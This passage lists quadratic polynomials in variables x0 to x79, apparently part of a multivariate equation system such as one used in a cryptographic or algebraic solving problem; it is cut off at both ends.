x1*x29 + x1*x30 + x1*x32 + x1*x33 + x1*x37 + x1*x38 + x1*x39 + x1*x40 + x1*x43 + x1*x44 + x1*x45 + x1*x48 + x1*x49 + x1*x50 + x1*x51 + x1*x52 + x1*x53 + x1*x54 + x1*x55 + x1*x57 + x1*x59 + x1*x60 + x1*x63 + x1*x64 + x1*x65 + x1*x68 + x1*x74 + x1*x75 + x1*x79 + x1 + x2*x3 + x2*x7 + x2*x8 + x2*x9 + x2*x10 + x2*x11 + x2*x14 + x2*x16 + x2*x17 + x2*x18 + x2*x19 + x2*x20 + x2*x24 + x2*x25 + x2*x26 + x2*x33 + x2*x35 + x2*x36 + x2*x39 + x2*x40 + x2*x41 + x2*x42 + x2*x44 + x2*x46 + x2*x47 + x2*x48 + x2*x50 + x2*x51 + x2*x53 + x2*x54 + x2*x55 + x2*x56 + x2*x57 + x2*x58 + x2*x59 + x2*x60 + x2*x67 + x2*x70 + x2*x79 + x3*x4 + x3*x5 + x3*x6 + x3*x7 + x3*x8 + x3*x9 + x3*x10 + x3*x14 + x3*x15 + x3*x16 + x3*x17 + x3*x20 + x3*x21 + x3*x24 + x3*x25 + x3*x26 + x3*x27 + x3*x28 + x3*x32 + x3*x33 + x3*x34 + x3*x35 + x3*x38 + x3*x40 + x3*x42 + x3*x43 + x3*x45 + x3*x46 + x3*x50 + x3*x52 + x3*x53 + x3*x55 + x3*x57 + x3*x58 + x3*x59 + x3*x63 + x3*x64 + x3*x65 + x3*x67 + x3*x69 + x3*x71 + x3*x74 + x3*x77 + x3*x78 + x3*x79 + x4*x6 + x4*x8 + x4*x9 + x4*x10 + x4*x11 + x4*x13 + x4*x16 + x4*x19 + x4*x20 + x4*x21 + x4*x24 + x4*x27 + x4*x28 + x4*x29 + x4*x30 + x4*x31 + x4*x33 + x4*x35 + x4*x41 + x4*x47 + x4*x48 + x4*x56 + x4*x58 + x4*x59 + x4*x63 + x4*x64 + x4*x66 + x4*x72 + x4*x73 + x4*x75 + x4*x77 + x4*x78 + x5*x7 + x5*x8 + x5*x12 + x5*x13 + x5*x14 + x5*x15 + x5*x19 + x5*x20 + x5*x21 + x5*x22 + x5*x23 + x5*x26 + x5*x28 + x5*x31 + x5*x32 + x5*x34 + x5*x38 + x5*x39 + x5*x40 + x5*x42 + x5*x45 + x5*x46 + x5*x47 + x5*x52 + x5*x54 + x5*x55 + x5*x57 + x5*x61 + x5*x66 + x5*x67 + x5*x69 + x5*x73 + x5*x76 + x5*x78 + x5*x79 + x5 + x6*x7 + x6*x8 + x6*x9 + x6*x11 + x6*x12 + x6*x13 + x6*x14 + x6*x19 + x6*x22 + x6*x23 + x6*x25 + x6*x26 + x6*x30 + x6*x31 + x6*x32 + x6*x36 + x6*x38 + x6*x40 + x6*x41 + x6*x42 + x6*x43 + x6*x44 + x6*x45 + x6*x46 + x6*x47 + x6*x50 + x6*x53 + x6*x54 + x6*x56 + x6*x59 + x6*x61 + x6*x62 + x6*x63 + x6*x70 + x6*x72 + x6*x74 + x6*x77 + x6*x78 + x6*x79 + x6 + x7*x8 + x7*x9 + x7*x12 + x7*x14 + x7*x18 + x7*x20 + x7*x23 + x7*x25 + x7*x28 + x7*x30 + x7*x31 + x7*x33 + x7*x36 + x7*x37 + x7*x38 + x7*x40 + x7*x42 + x7*x44 + x7*x46 + x7*x48 + x7*x49 + x7*x51 + x7*x52 + x7*x53 + x7*x54 + x7*x58 + x7*x59 + x7*x60 + x7*x64 + x7*x65 + x7*x66 + x7*x67 + x7*x68 + x7*x69 + x7*x72 + x7*x73 + x7*x74 + x7*x75 + x7*x76 + x7*x77 + x7*x79 + x8*x10 + x8*x19 + x8*x21 + x8*x22 + x8*x23 + x8*x25 + x8*x26 + x8*x27 + x8*x30 + x8*x31 + x8*x32 + x8*x33 + x8*x35 + x8*x36 + x8*x38 + x8*x40 + x8*x42 + x8*x45 + x8*x46 + x8*x50 + x8*x52 + x8*x54 + x8*x57 + x8*x60 + x8*x61 + x8*x63 + x8*x68 + x8*x69 + x8*x73 + x8*x77 + x9*x10 + x9*x11 + x9*x12 + x9*x13 + x9*x14 + x9*x18 + x9*x20 + x9*x26 + x9*x27 + x9*x28 + x9*x31 + x9*x33 + x9*x34 + x9*x35 + x9*x36 + x9*x40 + x9*x41 + x9*x48 + x9*x55 + x9*x56 + x9*x57 + x9*x58 + x9*x59 + x9*x60 + x9*x62 + x9*x66 + x9*x71 + x9*x74 + x9*x76 + x9*x77 + x9*x78 + x10*x13 + x10*x17 + x10*x21 + x10*x23 + x10*x24 + x10*x25 + x10*x27 + x10*x28 + x10*x29 + x10*x32 + x10*x35 + x10*x36 + x10*x37 + x10*x39 + x10*x41 + x10*x43 + x10*x45 + x10*x48 + x10*x49 + x10*x50 + x10*x51 + x10*x53 + x10*x56 + x10*x57 + x10*x58 + x10*x59 + x10*x61 + x10*x62 + x10*x63 + x10*x71 + x10*x72 + x10*x74 + x10*x75 + x10*x76 + x10*x77 + x10*x78 + x11*x12 + x11*x13 + x11*x14 + x11*x18 + x11*x19 + x11*x20 + x11*x21 + x11*x22 + x11*x23 + x11*x24 + x11*x25 + x11*x30 + x11*x31 + x11*x32 + x11*x34 + x11*x36 + x11*x38 + x11*x40 + x11*x42 + x11*x43 + x11*x44 + x11*x47 + x11*x48 + x11*x49 + x11*x51 + x11*x52 + x11*x53 + x11*x55 + x11*x56 + x11*x57 + x11*x62 + x11*x66 + x11*x67 + x11*x68 + x11*x69 + x11*x71 + x11*x72 + x11*x74 + x11*x75 + x11*x76 + x11*x78 + x12*x13 + x12*x15 + x12*x18 + x12*x19 + x12*x21 + x12*x27 + x12*x28 + x12*x30 + x12*x34 + x12*x36 + x12*x37 + x12*x38 + x12*x39 + x12*x40 + x12*x41 + x12*x42 + x12*x44 + x12*x45 + x12*x46 + x12*x48 + x12*x49 + x12*x50 + x12*x51 + x12*x53 + x12*x54 + x12*x55 + x12*x56 + x12*x57 + x12*x58 + x12*x59 + x12*x61 + x12*x62 + x12*x63 + x12*x64 + x12*x67 + x12*x72 + x12*x73 + x12*x74 + x12*x76 + x12*x77 + x12*x78 + x12*x79 + x12 + x13*x14 + x13*x17 + x13*x21 + x13*x22 + x13*x23 + x13*x24 + x13*x25 + x13*x28 + x13*x32 + x13*x34 + x13*x37 + x13*x38 + x13*x39 + x13*x45 + x13*x49 + x13*x50 + x13*x51 + x13*x58 + x13*x60 + x13*x61 + x13*x62 + x13*x63 + x13*x65 + x13*x67 + x13*x69 + x13*x70 + x13*x71 + x13*x73 + x13*x74 + x13*x75 + x13*x76 + x13*x77 + x14*x16 + x14*x17 + x14*x20 + x14*x21 + x14*x22 + x14*x23 + x14*x24 + x14*x25 + x14*x26 + x14*x28 + x14*x32 + x14*x33 + x14*x35 + x14*x39 + x14*x40 + x14*x45 + x14*x47 + x14*x48 + x14*x49 + x14*x50 + x14*x52 + x14*x58 + x14*x60 + x14*x61 + x14*x62 + x14*x63 + x14*x64 + x14*x68 + x14*x71 + x14*x73 + x14*x74 + x14*x77 + x14*x78 + x14*x79 + x14 + x15*x16 + x15*x21 + x15*x27 + x15*x28 + x15*x30 + x15*x31 + x15*x32 + x15*x33 + x15*x36 + x15*x37 + x15*x39 + x15*x42 + x15*x43 + x15*x46 + x15*x47 + x15*x48 + x15*x49 + x15*x52 + x15*x56 + x15*x57 + x15*x59 + x15*x62 + x15*x66 + x15*x69 + x15*x70 + x15*x72 + x15*x73 + x15*x74 + x15*x75 + x15*x77 + x16*x20 + x16*x21 + x16*x22 + x16*x24 + x16*x25 + x16*x31 + x16*x32 + x16*x34 + x16*x35 + x16*x36 + x16*x38 + x16*x39 + x16*x40 + x16*x41 + x16*x42 + x16*x43 + x16*x44 + x16*x45 + x16*x47 + x16*x48 + x16*x49 + x16*x53 + x16*x59 + x16*x60 + x16*x62 + x16*x63 + x16*x65 + x16*x67 + x16*x68 + x16*x74 + x16*x75 + x16*x76 + x16*x78 + x17*x22 + x17*x24 + x17*x28 + x17*x29 + x17*x32 + x17*x35 + x17*x40 + x17*x41 + x17*x48 + x17*x49 + x17*x50 + x17*x51 + x17*x53 + x17*x54 + x17*x55 + x17*x56 + x17*x57 + x17*x67 + x17*x68 + x17*x69 + x17*x73 + x17*x75 + x17*x76 + x17*x77 + x17*x78 + x18*x20 + x18*x21 + x18*x22 + x18*x24 + x18*x27 + x18*x28 + x18*x29 + x18*x32 + x18*x33 + x18*x34 + x18*x37 + x18*x38 + x18*x41 + x18*x43 + x18*x46 + x18*x47 + x18*x48 + x18*x50 + x18*x51 + x18*x53 + x18*x54 + x18*x57 + x18*x58 + x18*x68 + x18*x71 + x18*x72 + x18*x73 + x18*x74 + x18*x75 + x18*x76 + x18*x77 + x18*x79 + x19*x20 + x19*x21 + x19*x27 + x19*x30 + x19*x31 + x19*x35 + x19*x38 + x19*x39 + x19*x40 + x19*x42 + x19*x46 + x19*x48 + x19*x49 + x19*x55 + x19*x58 + x19*x59 + x19*x60 + x19*x61 + x19*x62 + x19*x66 + x19*x69 + x19*x71 + x19*x74 + x19*x76 + x19*x77 + x19*x78 + x20*x21 + x20*x22 + x20*x23 + x20*x24 + x20*x25 + x20*x26 + x20*x27 + x20*x28 + x20*x30 + x20*x31 + x20*x33 + x20*x34 + x20*x35 + x20*x37 + x20*x38 + x20*x39 + x20*x41 + x20*x43 + x20*x44 + x20*x51 + x20*x53 + x20*x55 + x20*x57 + x20*x59 + x20*x63 + x20*x64 + x20*x65 + x20*x66 + x20*x69 + x20*x72 + x20*x73 + x20*x74 + x20*x75 + x20*x76 + x20*x78 + x21*x23 + x21*x24 + x21*x25 + x21*x30 + x21*x31 + x21*x33 + x21*x36 + x21*x42 + x21*x43 + x21*x46 + x21*x47 + x21*x50 + x21*x51 + x21*x53 + x21*x54 + x21*x55 + x21*x60 + x21*x63 + x21*x64 + x21*x65 + x21*x66 + x21*x67 + x21*x68 + x21*x70 + x21*x71 + x21*x78 + x21*x79 + x22*x23 + x22*x24 + x22*x26 + x22*x27 + x22*x28 + x22*x30 + x22*x33 + x22*x36 + x22*x38 + x22*x40 + x22*x41 + x22*x45 + x22*x46 + x22*x47 + x22*x48 + x22*x51 + x22*x54 + x22*x55 + x22*x56 + x22*x57 + x22*x60 + x22*x64 + x22*x65 + x22*x66 + x22*x69 + x22*x70 + x22*x73 + x22*x76 + x22*x77 + x22*x78 + x22*x79 + x22 + x23*x25 + x23*x27 + x23*x28 + x23*x30 + x23*x34 + x23*x39 + x23*x42 + x23*x43 + x23*x44 + x23*x45 + x23*x46 + x23*x48 + x23*x49 + x23*x52 + x23*x54 + x23*x55 + x23*x57 + x23*x59 + x23*x60 + x23*x61 + x23*x66 + x23*x67 + x23*x71 + x23*x72 + x23*x77 + x23*x78 + x23 + x24*x26 + x24*x28 + x24*x30 + x24*x32 + x24*x33 + x24*x34 + x24*x35 + x24*x36 + x24*x40 + x24*x42 + x24*x45 + x24*x48 + x24*x49 + x24*x51 + x24*x58 + x24*x59 + x24*x61 + x24*x62 + x24*x63 + x24*x64 + x24*x65 + x24*x67 + x24*x68 + x24*x69 + x24*x70 + x24*x74 + x24*x78 + x24 + x25*x26 + x25*x28 + x25*x31 + x25*x33 + x25*x34 + x25*x35 + x25*x37 + x25*x38 + x25*x39 + x25*x40 + x25*x41 + x25*x45 + x25*x46 + x25*x47 + x25*x50 + x25*x52 + x25*x53 + x25*x54 + x25*x60 + x25*x61 + x25*x62 + x25*x63 + x25*x64 + x25*x66 + x25*x69 + x25*x71 + x25*x73 + x25*x79 + x26*x29 + x26*x30 + x26*x34 + x26*x35 + x26*x36 + x26*x38 + x26*x39 + x26*x42 + x26*x43 + x26*x44 + x26*x45 + x26*x46 + x26*x47 + x26*x57 + x26*x58 + x26*x59 + x26*x60 + x26*x62 + x26*x63 + x26*x64 + x26*x65 + x26*x66 + x26*x69 + x26*x70 + x26*x71 + x26*x72 + x26*x74 + x26*x78 + x27*x37 + x27*x38 + x27*x44 + x27*x46 + x27*x48 + x27*x50 + x27*x51 + x27*x54 + x27*x56 + x27*x57 + x27*x58 + x27*x60 + x27*x62 + x27*x64 + x27*x66 + x27*x68 + x27*x71 + x27*x73 + x27*x75 + x27*x76 + x27*x78 + x28*x29 + x28*x30 + x28*x31 + x28*x37 + x28*x38 + x28*x40 + x28*x41 + x28*x42 + x28*x44 + x28*x47 + x28*x50 + x28*x52 + x28*x54 + x28*x55 + x28*x57 + x28*x58 + x28*x63 + x28*x66 + x28*x70 + x28*x71 + x28*x73 + x28*x74 + x28*x76 + x28*x78 + x28 + x29*x30 + x29*x35 + x29*x36 + x29*x37 + x29*x40 + x29*x44 + x29*x46 + x29*x47 + x29*x48 + x29*x51 + x29*x54 + x29*x56 + x29*x57 + x29*x58 + x29*x59 + x29*x62 + x29*x63 + x29*x64 + x29*x66 + x29*x67 + x29*x68 + x29*x69 + x29*x70 + x29*x72 + x29*x73 + x29*x77 + x30*x31 + x30*x32 + x30*x34 + x30*x38 + x30*x39 + x30*x43 + x30*x45 + x30*x46 + x30*x48 + x30*x49 + x30*x58 + x30*x59 + x30*x61 + x30*x62 + x30*x67 + x30*x68 + x30*x69 + x30*x71 + x30*x74 + x30*x78 + x31*x32 + x31*x33 + x31*x34 + x31*x36 + x31*x38 + x31*x39 + x31*x40 + x31*x43 + x31*x47 + x31*x50 + x31*x52 + x31*x53 + x31*x54 + x31*x55 + x31*x56 + x31*x60 + x31*x62 + x31*x63 + x31*x68 + x31*x69 + x31*x72 + x31*x73 + x31*x76 + x31*x77 + x31*x78 + x31 + x32*x33 + x32*x34 + x32*x36 + x32*x37 + x32*x38 + x32*x42 + x32*x43 + x32*x44 + x32*x46 + x32*x47 + x32*x51 + x32*x52 + x32*x53 + x32*x54 + x32*x55 + x32*x56 + x32*x58 + x32*x63 + x32*x64 + x32*x66 + x32*x67 + x32*x68 + x32*x69 + x32*x70 + x32*x73 + x32*x76 + x32*x77 + x33*x35 + x33*x38 + x33*x39 + x33*x40 + x33*x45 + x33*x48 + x33*x49 + x33*x50 + x33*x52 + x33*x53 + x33*x55 + x33*x56 + x33*x61 + x33*x64 + x33*x66 + x33*x67 + x33*x69 + x33*x71 + x33*x78 + x33 + x34*x36 + x34*x42 + x34*x48 + x34*x49 + x34*x50 + x34*x54 + x34*x55 + x34*x56 + x34*x57 + x34*x58 + x34*x59 + x34*x64 + x34*x65 + x34*x68 + x34*x69 + x34*x71 + x34*x72 + x34*x76 + x34*x78 + x34*x79 + x34 + x35*x37 + x35*x39 + x35*x40 + x35*x41 + x35*x42 + x35*x43 + x35*x44 + x35*x45 + x35*x46 + x35*x48 + x35*x50 + x35*x53 + x35*x54 + x35*x59 + x35*x61 + x35*x62 + x35*x63 + x35*x64 + x35*x65 + x35*x70 + x35*x71 + x35*x72 + x35*x73 + x35*x74 + x35*x76 + x35*x78 + x35*x79 + x35 + x36*x38 + x36*x40 + x36*x41 + x36*x42 + x36*x43 + x36*x46 + x36*x48 + x36*x51 + x36*x52 + x36*x55 + x36*x57 + x36*x64 + x36*x67 + x36*x68 + x36*x69 + x36*x71 + x36*x73 + x36*x74 + x36*x76 + x36*x77 + x36*x79 + x36 + x37*x39 + x37*x41 + x37*x43 + x37*x44 + x37*x45 + x37*x47 + x37*x52 + x37*x57 + x37*x58 + x37*x60 + x37*x61 + x37*x63 + x37*x64 + x37*x65 + x37*x68 + x37*x70 + x37*x72 + x37*x77 + x37*x78 + x37*x79 + x37 + x38*x39 + x38*x40 + x38*x41 + x38*x42 + x38*x43 + x38*x45 + x38*x47 + x38*x48 + x38*x50 + x38*x52 + x38*x55 + x38*x62 + x38*x63 + x38*x65 + x38*x66 + x38*x67 + x38*x69 + x38*x71 + x38*x73 + x38*x76 + x38*x79 + x38 + x39*x43 + x39*x48 + x39*x49 + x39*x51 + x39*x54 + x39*x55 + x39*x56 + x39*x57 + x39*x62 + x39*x64 + x39*x65 + x39*x66 + x39*x68 + x39*x70 + x40*x41 + x40*x42 + x40*x43 + x40*x45 + x40*x47 + x40*x49 + x40*x50 + x40*x52 + x40*x54 + x40*x55 + x40*x57 + x40*x58 + x40*x60 + x40*x62 + x40*x65 + x40*x66 + x40*x70 + x40*x74 + x40*x79 + x41*x42 + x41*x50 + x41*x52 + x41*x53 + x41*x55 + x41*x60 + x41*x66 + x41*x70 + x41*x72 + x41*x73 + x41*x74 + x41*x75 + x41*x76 + x42*x43 + x42*x46 + x42*x48 + x42*x49 + x42*x53 + x42*x55 + x42*x58 + x42*x60 + x42*x64 + x42*x66 + x42*x67 + x42*x71 + x42*x73 + x42*x75 + x42 + x43*x48 + x43*x51 + x43*x52 + x43*x55 + x43*x56 + x43*x57 + x43*x58 + x43*x63 + x43*x64 + x43*x67 + x43*x69 + x43*x70 + x43*x73 + x43*x74 + x43*x75 + x43*x76 + x43*x77 + x43*x79 + x43 + x44*x46 + x44*x48 + x44*x49 + x44*x50 + x44*x52 + x44*x57 + x44*x59 + x44*x62 + x44*x65 + x44*x68 + x44*x78 + x44*x79 + x44 + x45*x48 + x45*x49 + x45*x53 + x45*x55 + x45*x57 + x45*x58 + x45*x60 + x45*x64 + x45*x69 + x45*x72 + x45*x73 + x45*x75 + x45*x76 + x45*x77 + x45*x78 + x45*x79 + x45 + x46*x54 + x46*x55 + x46*x57 + x46*x59 + x46*x61 + x46*x63 + x46*x68 + x46*x69 + x46*x70 + x46*x71 + x46*x72 + x46*x73 + x46*x74 + x46*x75 + x46*x78 + x46 + x47*x49 + x47*x50 + x47*x51 + x47*x54 + x47*x57 + x47*x58 + x47*x59 + x47*x63 + x47*x64 + x47*x65 + x47*x67 + x47*x68 + x47*x69 + x47*x70 + x47*x72 + x47*x73 + x47*x74 + x47*x75 + x47 + x48*x49 + x48*x51 + x48*x52 + x48*x53 + x48*x56 + x48*x57 + x48*x59 + x48*x60 + x48*x65 + x48*x66 + x48*x70 + x48*x73 + x48*x76 + x48*x77 + x48*x78 + x49*x50 + x49*x51 + x49*x53 + x49*x54 + x49*x55 + x49*x56 + x49*x59 + x49*x64 + x49*x68 + x49*x69 + x49*x70 + x49*x71 + x49*x72 + x49*x75 + x49*x78 + x49 + x50*x52 + x50*x54 + x50*x55 + x50*x58 + x50*x59 + x50*x65 + x50*x66 + x50*x67 + x50*x68 + x50*x70 + x50*x72 + x50*x73 + x50*x74 + x50*x77 + x50*x79 + x51*x52 + x51*x53 + x51*x55 + x51*x56 + x51*x61 + x51*x64 + x51*x67 + x51*x68 + x51*x69 + x51*x70 + x51*x71 + x51*x74 + x51*x75 + x51*x76 + x51 + x52*x55 + x52*x56 + x52*x57 + x52*x63 + x52*x64 + x52*x65 + x52*x67 + x52*x70 + x52*x71 + x52*x73 + x52*x74 + x52*x78 + x53*x54 + x53*x57 + x53*x59 + x53*x61 + x53*x65 + x53*x67 + x53*x68 + x53*x69 + x53*x72 + x53*x75 + x53*x78 + x54*x57 + x54*x58 + x54*x60 + x54*x62 + x54*x63 + x54*x64 + x54*x65 + x54*x66 + x54*x67 + x54*x69 + x54*x71 + x54*x72 + x54*x74 + x54*x75 + x54*x76 + x54*x79 + x54 + x55*x56 + x55*x58 + x55*x60 + x55*x61 + x55*x63 + x55*x64 + x55*x65 + x55*x67 + x55*x70 + x55*x73 + x55*x74 + x55*x75 + x55*x77 + x55*x79 + x56*x57 + x56*x58 + x56*x59 + x56*x61 + x56*x64 + x56*x65 + x56*x67 + x56*x68 + x56*x70 + x56*x72 + x56*x76 + x56*x77 + x56 + x57*x58 + x57*x59 + x57*x61 + x57*x63 + x57*x66 + x57*x69 + x57*x70 + x57*x72 + x57*x73 + x57*x76 + x57*x77 + x57*x78 + x57*x79 + x58*x63 + x58*x64 + x58*x71 + x58*x73 + x58*x76 + x58*x78 + x58*x79 + x59*x62 + x59*x65 + x59*x67 + x59*x68 + x59*x71 + x59*x73 + x59*x75 + x59*x76 + x59*x77 + x59*x78 + x60*x65 + x60*x69 + x60*x70 + x60*x71 + x60*x73 + x60*x74 + x60*x76 + x60*x78 + x60*x79 + x60 + x61*x63 + x61*x66 + x61*x67 + x61*x72 + x61*x73 + x61*x74 + x61*x76 + x61*x77 + x61*x78 + x62*x64 + x62*x69 + x62*x71 + x62*x75 + x63*x64 + x63*x66 + x63*x67 + x63*x69 + x63*x76 + x63*x77 + x63*x79 + x64*x66 + x64*x67 + x64*x69 + x64*x70 + x64*x73 + x64*x77 + x64*x78 + x65*x68 + x65*x72 + x65*x73 + x65*x75 + x65*x78 + x65*x79 + x66*x68 + x66*x71 + x66*x79 + x66 + x67*x75 + x67*x77 + x68*x69 + x68*x72 + x68*x75 + x68*x76 + x69*x71 + x69*x72 + x69*x75 + x69*x76 + x69*x77 + x69*x79 + x69 + x70*x73 + x70*x75 + x70*x77 + x70*x79 + x71*x72 + x71*x73 + x71*x74 + x71*x76 + x71 + x72*x74 + x72*x76 + x72*x77 + x72*x78 + x72*x79 + x72 + x73*x74 + x73*x75 + x73*x77 + x73*x78 + x73 + x74*x75 + x74*x78 + x74 + x75*x76 + x75*x77 + x75*x78 + x75 + x76*x77 + x76*x79 + x76 + x77*x78 + x77*x79 + x77 + x78*x79 + x78 + x79, x0*x1 + x0*x3 + x0*x6 + x0*x9 + x0*x10 + x0*x11 + x0*x13 + x0*x15 + x0*x16 + x0*x17 + x0*x18 + x0*x19 + x0*x20 + x0*x24 + x0*x25 + x0*x26 + x0*x28 + x0*x29 + x0*x32 + x0*x34 + x0*x36 + x0*x38 + x0*x40 + x0*x42 + x0*x43 + x0*x44 + x0*x47 + x0*x49 + x0*x54 + x0*x55 + x0*x56 + x0*x59 + x0*x62 + x0*x66 + x0*x68 + x0*x69 + x0*x70 + x0*x74 + x0*x75 + x0*x76 + x0*x78 + x0 + x1*x5 + x1*x7 + x1*x17 + x1*x19 + x1*x21 + x1*x23 + x1*x25 + x1*x26 + x1*x28 + x1*x29 + x1*x30 + x1*x31 + x1*x32 + x1*x33 + x1*x34 + x1*x39 + x1*x41 + x1*x42 + x1*x43 + x1*x44 + x1*x46 + x1*x47 + x1*x49 + x1*x50 + x1*x51 + x1*x54 + x1*x56 + x1*x57 + x1*x61 + x1*x62 + x1*x63 + x1*x64 + x1*x65 + x1*x66 + x1*x67 + x1*x69 + x1*x70 + x1*x74 + x1*x79 + x1 + x2*x4 + x2*x9 + x2*x10 + x2*x11 + x2*x12 + x2*x13 + x2*x14 + x2*x15 + x2*x17 + x2*x18 + x2*x20 + x2*x22 + x2*x23 + x2*x24 + x2*x25 + x2*x30 + x2*x31 + x2*x32 + x2*x33 + x2*x34 + x2*x35 + x2*x37 + x2*x39 + x2*x41 + x2*x42 + x2*x43 + x2*x47 + x2*x49 + x2*x50 + x2*x52 + x2*x54 + x2*x55 + x2*x57 + x2*x58 + x2*x65 + x2*x73 + x2*x76 + x3*x5 + x3*x6 + x3*x7 + x3*x9 + x3*x10 + x3*x18 + x3*x19 + x3*x20 + x3*x22 + x3*x23 + x3*x24 + x3*x26 + x3*x27 + x3*x33 + x3*x34 + x3*x35 + x3*x37 + x3*x39 + x3*x43 + x3*x45 + x3*x47 + x3*x48 + x3*x50 + x3*x51 + x3*x54 + x3*x57 + x3*x60 + x3*x66 + x3*x67 + x3*x68 + x3*x70 + x3*x71 + x3*x72 + x3*x76 + x3*x77 + x3*x78 + x3 + x4*x5 + x4*x10 + x4*x13 + x4*x15 + x4*x17 + x4*x20 + x4*x21 + x4*x22 + x4*x25 + x4*x28 + x4*x30 + x4*x33 + x4*x34 + x4*x35 + x4*x36 + x4*x38 + x4*x41 + x4*x42 + x4*x44 + x4*x45 + x4*x46 + x4*x48 + x4*x49 + x4*x50 + x4*x52 + x4*x54 + x4*x55 + x4*x57 + x4*x59 + x4*x60 + x4*x62 + x4*x63 + x4*x65 + x4*x66 + x4*x68 + x4*x69 + x4*x71 + x4*x72 + x4*x74 + x4*x75 + x4*x76 + x4*x78 + x4 + x5*x8 + x5*x10 + x5*x11 + x5*x12 + x5*x15 + x5*x16 + x5*x17 + x5*x21 + x5*x22 + x5*x25 + x5*x26 + x5*x29 + x5*x30 + x5*x31 + x5*x32 + x5*x34 + x5*x39 + x5*x40 + x5*x41 + x5*x42 + x5*x43 + x5*x45 + x5*x46 + x5*x48 + x5*x49 + x5*x50 + x5*x54 + x5*x55 + x5*x62 + x5*x63 + x5*x64 + x5*x66 + x5*x68 + x5*x73 + x5*x74 + x5*x76 + x5*x78 + x5*x79 + x5 + x6*x7 + x6*x10 + x6*x13 + x6*x15 + x6*x16 + x6*x17 + x6*x18 + x6*x21 + x6*x23 + x6*x25 + x6*x27 + x6*x29 + x6*x30 + x6*x31 + x6*x32 + x6*x33 + x6*x34 + x6*x35 + x6*x37 + x6*x45 + x6*x48 + x6*x49 + x6*x50 + x6*x52 + x6*x53 + x6*x54 + x6*x56 + x6*x57 + x6*x59 + x6*x60 + x6*x61 + x6*x62 + x6*x67 + x6*x68 + x6*x69 + x6*x71 + x6*x72 + x6*x74 + x6*x75 + x6*x76 + x6*x77 + x6 + x7*x10 + x7*x11 + x7*x13 + x7*x14 + x7*x15 + x7*x16 + x7*x17 + x7*x18 + x7*x19 + x7*x21 + x7*x22 + x7*x23 + x7*x26 + x7*x30 + x7*x31 + x7*x32 + x7*x33 + x7*x35 + x7*x36 + x7*x42 + x7*x44 + x7*x45 + x7*x46 + x7*x47 + x7*x51 + x7*x52 + x7*x54 + x7*x55 + x7*x57 + x7*x58 + x7*x63 + x7*x64 + x7*x68 + x7*x69 + x7*x71 + x7*x74 + x7*x75 + x7*x76 + x7*x78 + x7*x79 + x7 + x8*x9 + x8*x10 + x8*x11 + x8*x15 + x8*x18 + x8*x19 + x8*x23 + x8*x25 + x8*x29 + x8*x31 + x8*x32 + x8*x33 + x8*x34 + x8*x36 + x8*x37 + x8*x40 + x8*x42 + x8*x46 + x8*x47 + x8*x49 + x8*x51 + x8*x54 + x8*x55 + x8*x56 + x8*x57 + x8*x58 + x8*x59 + x8*x60 + x8*x61 + x8*x62 + x8*x63 + x8*x64 + x8*x65 + x8*x67 + x8*x68 + x8*x70 + x8*x71 + x8*x75 + x8*x76 + x8*x78 + x8*x79 + x9*x10 + x9*x14 + x9*x15 + x9*x18 + x9*x22 + x9*x23 + x9*x25 + x9*x26 + x9*x27 + x9*x28 + x9*x30 + x9*x31 + x9*x34 + x9*x37 + x9*x38 + x9*x41 + x9*x42 + x9*x43 + x9*x44 + x9*x45 + x9*x48 + x9*x51 + x9*x52 + x9*x53 + x9*x54 + x9*x55 + x9*x59 + x9*x60 + x9*x64 + x9*x65 + x9*x67 + x9*x75 + x9*x79 + x10*x12 + x10*x14 + x10*x15 + x10*x16 + x10*x18 + x10*x19 + x10*x20 + x10*x21 + x10*x23 + x10*x25 + x10*x27 + x10*x28 + x10*x30 + x10*x33 + x10*x36 + x10*x44 + x10*x46 + x10*x48 + x10*x49 + x10*x51 + x10*x52 + x10*x54 + x10*x56 + x10*x57 + x10*x58 + x10*x59 + x10*x60 + x10*x61 + x10*x62 + x10*x64 + x10*x67 + x10*x70 + x10*x73 + x10*x75 + x10*x76 + x11*x14 + x11*x18 + x11*x19 + x11*x21 + x11*x22 + x11*x25 + x11*x26 + x11*x28 + x11*x32 + x11*x33 + x11*x36 + x11*x39 + x11*x41 + x11*x42 + x11*x43 + x11*x44 + x11*x45 + x11*x48 + x11*x50 + x11*x52 + x11*x53 + x11*x55 + x11*x56 + x11*x57 + x11*x58 + x11*x62 + x11*x63 + x11*x64 + x11*x69 + x11*x72 + x11*x73 + x11*x74 + x11*x76 + x11*x78 + x11 + x12*x14 + x12*x15 + x12*x18 + x12*x20 + x12*x21 + x12*x24 + x12*x25 + x12*x28 + x12*x29 + x12*x30 + x12*x31 + x12*x35 + x12*x36 + x12*x38 + x12*x40 + x12*x42 + x12*x43 + x12*x45 + x12*x46 + x12*x47 + x12*x48 + x12*x50 + x12*x52 + x12*x58 + x12*x61 + x12*x62 + x12*x66 + x12*x67 + x12*x69 + x12 + x13*x16 + x13*x19 + x13*x20 + x13*x22 + x13*x24 + x13*x25 + x13*x26 + x13*x27 + x13*x29 + x13*x31 + x13*x32 + x13*x33 + x13*x34 + x13*x37 + x13*x40 + x13*x44 + x13*x45 + x13*x46 + x13*x47 + x13*x48 + x13*x49 + x13*x55 + x13*x56 + x13*x58 + x13*x59 + x13*x61 + x13*x62 + x13*x64 + x13*x65 + x13*x66 + x13*x67 + x13*x69 + x13*x70 + x13*x73 + x13*x74 + x13*x75 + x13*x77 + x13*x79 + x13 + x14*x16 + x14*x17 + x14*x19 + x14*x20 + x14*x22 + x14*x27 + x14*x28 + x14*x29 + x14*x31 + x14*x33 + x14*x34 + x14*x38 + x14*x40 + x14*x41 + x14*x43 + x14*x44 + x14*x45 + x14*x46 + x14*x47 + x14*x49 + x14*x50 + x14*x51 + x14*x52 + x14*x54 + x14*x55 + x14*x56 + x14*x60 + x14*x61 + x14*x63 + x14*x64 + x14*x66 + x14*x67 + x14*x68 + x14*x69 + x14*x76 + x14*x79 + x15*x17 + x15*x18 + x15*x19 + x15*x23 + x15*x28 + x15*x29 + x15*x32 + x15*x33 + x15*x36 + x15*x38 + x15*x40 + x15*x41 + x15*x42 + x15*x44 + x15*x48 + x15*x51 + x15*x54 + x15*x60 + x15*x62 + x15*x66 + x15*x68 + x15*x69 + x15*x74 + x15*x76 + x16*x20 + x16*x22 + x16*x23 + x16*x26 + x16*x27 + x16*x28 + x16*x29 + x16*x30 + x16*x31 + x16*x34 + x16*x36 + x16*x37 + x16*x38 + x16*x40 + x16*x44 + x16*x47 + x16*x48 + x16*x51 + x16*x53 + x16*x55 + x16*x56 + x16*x57 + x16*x58 + x16*x59 + x16*x64 + x16*x66 + x16*x67 + x16*x71 + x16*x72 + 